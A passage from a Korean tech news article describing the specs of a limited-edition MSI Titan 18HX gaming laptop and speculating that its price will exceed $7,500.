외형뿐 아니라 성능도 최상위급 사양으로 구성됐다. 18인치 UHD+ 미니 LED 디스플레이와 240Hz 주사율을 지원하며, 베이퍼 챔버 쿨링 시스템과 PCIe 5세대 SSD 전용 냉각 구조를 적용해 장시간 사용 환경도 고려했다.
사용자 경험을 위한 부가 기능도 강화했다. RGB 햅틱 터치패드와 체리 기계식 키 스위치를 적용한 키별 RGB 게이밍 키보드를 탑재했으며, 코파일럿 전용 키도 포함됐다.
가격은 아직 공개되지 않았다. 다만 기본형 '타이탄 18HX'의 시작 가격이 4999.99달러(약 760만원)인 점을 고려하면 한정판 가격은 이를 크게 웃돌 가능성이 제기된다. 여기에 특별 디자인과 마우스, 마우스패드, 전용 패키지, 수집용 코인 등 구성품까지 포함되는 만큼 7500달러(약 1140만원) 이하로 책정되기 어려울 것이라는 전망이 나왔다.
키워드 #MSI #타히탄 18HX #노트북 #RTX 5090
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 백악관 "美 클래리티법, 디파이·스테이블코인 규정 막판 조율" 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 백악관 "美 클래리티법, 디파이·스테이블코인 규정 막판 조율"